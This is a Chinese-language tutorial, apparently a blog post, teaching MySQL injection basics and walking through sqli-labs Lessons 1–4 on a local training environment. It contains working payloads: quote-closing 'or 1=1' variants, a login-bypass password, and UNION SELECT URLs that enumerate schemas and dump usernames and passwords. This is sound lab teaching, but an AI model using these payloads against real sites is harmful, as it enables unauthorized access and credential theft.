sqli-lab之第一章 基础知识

声明

本文内容参考了lcamry的mysql注入天书: http://www.cnblogs.com/lcamry/category/846064.html

在我们的应用系统使用 sql 语句进行管理应用数据库时,往往采用拼接的方式形成一条完整的数据库语言,而危险的是,在拼接 sql 语句的 时候,我们可以改变 sql 语句。从而让数据执行我们想要执行的语句,这就是我们常说的 sql 注入

本章将介绍一些 mysql 注入的一些基础知识, 可能知识有点多, 希望大家认真看一遍, 实操一遍.

学习篇

0x01 注入的分类

下面这个是阿德玛表哥的总结的,现在理解不了可以跳过

0x02 系统函数

这里介绍几个常用函数, 自己实操的话, 可以直接点击Kitematic的EXEC运行一个终端, 然后使用mysql -uroot进入mysql

  1. version()——MySQL 版本

  2. user()——数据库用户名

  3. database()——数据库名

  4. @@datadir——数据库路径

  5. @@version_compile_os——操作系统版本

0x03 字符串连接函数

在select数据时, 我们往往需要将数据进行连接后进行回显. 很多的时候想将多个数据或者多行数据进行输出的时候, 需要使用字符串连接函数. 而在mysql中,常见的字符串连接函函数有concat(), group_concat(), concat_ws().

举个例子, 不使用字符串连接函数时

但是这里存在的一个问题是, 当使用union联合注入时, 我们都知道, 联合注入要求前后两个选择的列数要相同, 这里id, username是两个列, 当我们要一个列的时候, (即回显位只有一个)该怎么办? 这时候就需要用到字符串连接函数了

concat()

语法如下:

concat(str1,str2,...)
--没有分隔符地连接字符串
--返回结果为连接参数产生的字符串
--如有任何一个参数为NULL, 则返回值为 NULL
--可以有一个或多个参数

一般的我们都要用一个字符(这里是逗号)将各个项隔开, 便于数据的查看. 见下图:

下图是参数中有NULL的情况

concat_ws()

语法如下:

concat_ws(separator,str1,str2,...)
--含有分隔符地连接字符串, 分隔符的位置会放在要连接的两个字符串之间
--Separator为字符之间的分隔符, 可以是一个字符串, 也可以是其它参数
--如果分隔符为 NULL, 则结果为 NULL
--函数会忽略任何分隔符参数后的 NULL 值

下图是忽略NULL的情况

group_concat()

语法如下:

group_concat(str1,str2,...)
--连接一个组的所有字符串,并以`逗号`分隔每一条数据.

0x04 一般用于尝试的语句

ps:--+可以用#替换,url 提交过程中 Url 编码后的#%23

or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+

一般的代码为

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

此处考虑两个点

  1. 一个是用一个单引号闭合前面的 '
  2. 另一个是处理后面的', 一般采用两种思路, 闭合后面的引号或者注释掉,注释掉采用--+ 或者 #(%23)

0x05 union 操作符的介绍

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。

SQL UNION 语法

SELECT column_name(s) FROM table_name1 UNION
SELECT column_name(s) FROM table_name2

ps:默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL

SQL UNION ALL 语法

SELECT column_name(s) FROM table_name1 UNION ALL
SELECT column_name(s) FROM table_name2

另外,UNION 结果集中的列名总是等于 UNION 中第一个SELECT语句中的列名。

0x06 sql 中的逻辑运算

这里讨论一下逻辑运算的问题

有一个问题 elect * from users where id=1 and 1=1; 这条语句为什么能够选择出id=1 的内容, and 1=1 到底起作用了没有? 这里就要清楚 sql 语句执行顺序了.

同时这个问题我们在使用万能密码的时候会用到

Select * from admin where username='admin' and password='admin'

我们可以用 'or 1=1# 作为密码输入. 原因是为什么?

这里涉及到一个逻辑运算, 当使用上述所谓的万能密码后, 构成的 sql 语句为:

Select * from admin where username='admin' and password=''or 1=1#'

Explain:上面的这个语句执行后,我们在不知道密码的情况下就登录到了 admin 用户了。原 因 是 在 where 子 句 后 , 我 们 可 以 看 到 三 个 条 件 语 句 username='admin' and password=''or 1=1。三个条件用 andor 进行连接。在 sql 中,我们 and 的运算优先级大于 or 的运算优先级。因此可以看到 第一个条件(用 a 表示)是真的,第二个条件(用b 表示)是假的,a and b = false, 第一个条件和第二个条件执行 and 后是假,再与第三个条件 or 运算,因为第三个条件 1=1 是恒成立的,所以结果自然就为真了。因此上述的语句就是恒真了。

(1) select * from users where id=1 and 1=1;
(2) select * from users where id=1 && 1=1;
(3) select * from users where id=1 & 1 =1;

上述三者有什么区别?

  • (1)和(2)是一样的,表达的意思是id=1 条件和 1=1 条件进行与运算
  • (3)的意思是 id=1 条件与 1 进行&位操作id=1 被当作 true,与1 进行 & 运算 结果还是 1, 再进行=操作1=1,还是 1(ps:&的优先级大于=

Ps:此处进行的位运算。我们可以将数转换为二进制再进行与、或、非、异或等运算。必要的时候可以利用该方法进行注入结果。例如将某一字符转换为 ascii 码后,可以分别与
1,2,4,8,16,32.。。。进行与运算,可以得到每一位的值,拼接起来就是 ascii 码值。再从ascii 值反推回字符。(运用较少)

0x07 information.schema数据库

  • 现在做一些 mysql 的基本操作。启动 mysql,然后通过查询检查下数据库:

      mysql -uroot
      show databases;

  • 选择数据库

      use 数据库名;

  • 查看数据库中有哪些表

      show tables;

  • 查看指定表的结构

      desc 表名;

  • 接下来讨论下系统数据库,即information_schema

  • 首先说一下mysql的数据库information_schema,他是系统数据库,安装完就有,记录是当前数据库的数据库,表,列,用户权限等信息,下面说一下常用的几个表

    • SCHEMATA表:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等,show databases的结果取之此表。
    • TABLES表:储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname的结果取之此表
    • COLUMNS表:提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,猎德注释等。是show columns from schemaname.tablename的结果取之此表。
use information_schema;

  • 让我们来查看下表

      show tables;

  • 让我们来枚举这张表

      desc tables;

  • 现在用下面的指令查询,一般手工注入使用这个查询,我们可以下载到表名。

      select  table_name  from    information_schema.tables   where   table_schema    =   "security";

0x08 注入流程

  • 我们的数据库存储的数据按照上图的形式,一个数据库当中有很多的数据表,数据表当中有很多的列,每一列当中存储着数据。我们注入的过程就是先拿到数据库名,在获取到当前数据库名下的数据表,再获取当前数据表下的,最后获取数据

  • sql 有一个系统数据库information_schema存储着所有的数据库的相关信息,一般的, 我们利用该表可以进行一次完整的注入。以下为一般的流程。

      猜数据库
      select schema_name from information_schema.schemata 
      猜某库的数据表
      select table_name from information_schema.tables where table_schema=’xxxxx’
      猜某表的所有列
      Select column_name from information_schema.columns where table_name=’xxxxx’
      获取某列的内容
      Select *** from ****

实战篇

Less1

为了方便学习查看,可以在源码中的$sql下一句语句写以下php语句(就是输出拿到数据库查询的完整语句是怎么样的)

echo "你的 sql 语句是:".$sql."<br>";  
  • http://localhost/sqli-labs/Less-1/?id=1后面直接加上一个',看下效果:

  • 从上述错误当中,我们可以看到提交到 sql 中的 '在经过 sql 语句构造后形成 '1'' LIMIT 0,1, 多加了一个,单引号都不匹配,这样拿去查询肯定报错啊 。这种方式就是从错误信息中得到我们所需要的信息,那我们接下来想如何将多余的 ' 去掉呢?

    limit: 第一个参数是结果集中的第几个,跟C语言的数组的索引(从0开始)一致,
    第二个参数就是个数
    limit 1,2 :返回第二行和第三行,因为1表示是第二行,2表示行数个数是2

  • 先尝试'or 1=1#,#会将其后面的'注释掉

    出了点问题,原来浏览器没帮我把#url编码,可以将#换成%23,也可换成--+注释,+浏览器会编码成空格

    常用url编码:空格是%20,单引号是%27, 井号是%23,双引号是%22

  • 尝试'or 1=1--+,--+会将其后面的'注释掉. 此时构造的 sql 语句就成了

      SELECT * FROM users WHERE id='1'or 1=1--+' LIMIT 0,1

  • 可以看到正常返回数据。

  • 接下里就是利用 order by猜字段Order by :对前面的数据进行排序由phpMyadmin可以知道,这里有三列数据,我们就只能用order by 3,超过 3 就会报错。‘order by 4--+的结果显示结果超出。其实1表示第一个栏位,2表示第二栏位; 依此类推

  • 最后从源代码中分析下为什么会造成注入?Sql 语句为$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; id 参数在拼接 sql 语句时,未对 id 进行任何的过滤等操作,所以当提交'or 1=1--+,直接构造的 sql 语句就是

      SELECT * FROM users WHERE id=’1’or 1=1-- ‘ LIMIT 0,1

    这条语句因 or 1=1 所以为永恒真

  • 此外,此处介绍union 联合注入union 的作用是将两个 sql 语句进行联合。Union 可以从下面的例子中可以看出,强调一点:union 前后的两个 sql 语句的选择列数要相同才可以。Union all 与 union 的区别是增加了去重的功能。我们这里根据上述 background 的知识,进行information_schema 知识的应用。

      http://127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,2--+

    出现下图情况,说明两个sql语句列数不同

      http://127.0.0.1/sqli-labs/Less-1/?id=-1’union select 1,2,3--+

  • 当 id 的数据在数据库中不存在时,(此时我们可以 让id=-1, 也可以让id=1 and 1=2, 两个 sql 语句进行联合操作时, 当前一个语句选择的内容为空,就会将后面的语句的内容显示出来,否则会显示存在id的内容)此处前台页面返回了我们构造的 union 的数据。

  • 下面顺便看看id存在时的情况,所以要记住,记得要将id设置成一个不存在的值

  • 下面就真正查询数据库的各种信息了(可以看到只有第2列和第3列的结果显示在网页上),所以我们就只能用2和3这两个位置了,但是两个位置应该是不够用的,这时我们就用到数据库的连接函数了,常用的就concatconcat_ws,其中concat_ws的第一个参数是连接字符串的分隔符,还会用到group_concat(可以把查询出来的多行连接起来)

  • 简单复习怎么使用

    再次强调concat_ws的一个参数是连接字符串的分隔符,这里很明显可以看到,但一般第一个参数一般都不是这样传过去的,因为会被html编码,要使用mysql的char函数十进制ASCII码转化成字符,如下面的(的十进制ASCII是58),当然这里的分隔符也可以多个字符

    用的较多的就是这个啦,以后直接复制(32空格十进制ASCII

      concat_ws(char(32,58,32),user(),database(),version())  
    
      * user():返回当前数据库连接使用的用户
      * database():返回当前数据库连接使用的数据库
      * version():返回当前数据库的版本
  • 爆数据库

      http://localhost/sqli-labs/Less-1/?id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+

    此时的 sql 语句为 SELECT * FROM users WHERE id=’-1’union select 1,group_concat(schema _name),3 from information_schema.schemata--+ LIMIT 0,1

  • security数据库的数据表

      http://localhost/sqli-labs/Less-1/?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

    此时的 sql 语句为 SELECT * FROM users WHERE id=’-1’union select 1,group_concat(table_n ame),3 from information_schema.tables where table_schema=’security’--+ LIMIT 0,1

  • 爆 users 表的列

      http://localhost/sqli-labs/Less-1/?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

    此时的 sql 语句为 SELECT * FROM users WHERE id=’-1’union select 1,group_concat(column _name),3 from information_schema.columns where table_name=’users’--+ LIMIT 0,1

  • 爆数据

    最后那个id=2可以改成3,4,5… …

      http://localhost/sqli-labs/Less-1/?id=-1'union select 1,username,password from users where id=2--+

    此时的 sql 语句为 SELECT * FROM users WHERE id=’-1’union select 1,username,password f rom users where id=2--+ LIMIT 0,1

    Less1-less4 都可以利用上述 union 操作进行注入。下面就不进行赘述了。

Less2

  • '(单引号)添加到数字中。

  • 我们又得到了一个 Mysql 返回的错误,提示我们语法错误。

  • 现在执行的查询语句如下:

      SELECT * FROM users WHERE id=1' LIMIT 0,1

    所以这里的奇数个单引号破坏了查询,导致抛出错误。因此我们得出的结果是,查询代码使用了整数。

      Select * from TABLE where id = (some integer value);
  • 现在,从开发者的视角来看,为了对这样的错误采取保护措施,我们可以注释掉剩余的查询,看是否正确响应

  • 因此,源代码中可以分析到 SQL 语句为下:

      $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
  • 可以成功注入的有:

      or 1=1
      or 1=1 --+
  • 其余的 payload 与 less1 中一样,只需要将 less1 中的 去掉即可。

Less-3

  • 首先加个单引号

  • 可以看到报错那里出来了一个),原来这就是单引号注入的变形,那么我们在没有最终的sql语句的情况下怎么判断呢

    首先看到near和at之间的字符串,直接将左右的单引号去掉,那么就得到'1'') LIMIT 0,1

    我们明显看到1的右边多了一个'这是似成相识的感觉吧,后面还有个),那么对应于左边也应该有(,这里它意味着,开发者使用的查询是

      SELECT * FROM users WHERE id=('our input here') LIMIT 0,1
  • 所以我们再用这样的代码来进行注入:

      ?id=1')--+

    这样一来,我们便可以正常显示用户名和密码了,同时后面查询也已经被注释掉了。

  • 在源代码中的 SQL 查询语句

      $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
  • 可以成功注入的有:

      ') or '1'=('1    这里的意思是,不使用注释符号
      ') or 1=1--+     这里使用了注释符号
  • 其余的paylodad和less-1中的一样,只需要将less-1中的'更换为')即可

Less-4

  • 我们使用?id=1",如下图

  • 注入代码后,我们得到像这样的一个错误

      You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
  • 这里它意味着,代码当中对 id 参数进行了""() 的包装。 所以我们再用这样的代码来进行注入:

      ?id=1")--+

  • 这样一来,我们便可以得到用户名和密码了,同时后面查询也已经被注释掉了。 在源代码中的 SQL 查询语句,31 行

      $sql="SELECT * FROM users WHERE id=(“$id”) LIMIT 0,1";
  • 可以成功注入的有:

      ") or "1"=("1
      ") or 1=1--+
  • 其余的 payload 与 less1 中一样,只需要将 less1 中的'更换为")


   转载规则


《sqli-lab之第一章 基础知识》 冯文华 采用 知识共享署名 4.0 国际许可协议 进行许可。
 本篇
sqli-lab之第一章 基础知识 sqli-lab之第一章 基础知识
声明本文内容参考了lcamry的mysql注入天书: http://www.cnblogs.com/lcamry/category/846064.html 在我们的应用系统使用 sql 语句进行管理应用数据库时,往往采用拼接的方式形成一条
下一篇 
sqli-lab之第零章 环境搭建 sqli-lab之第零章 环境搭建
前言本系列教程的试验靶场为sqli-labs ,该靶场的下载地址为 https://github.com/Audi-1/sqli-labs ,可以自行去下载,而装了git的童鞋也可以直接用下面的命令clone到随意的目录 git clone
  目录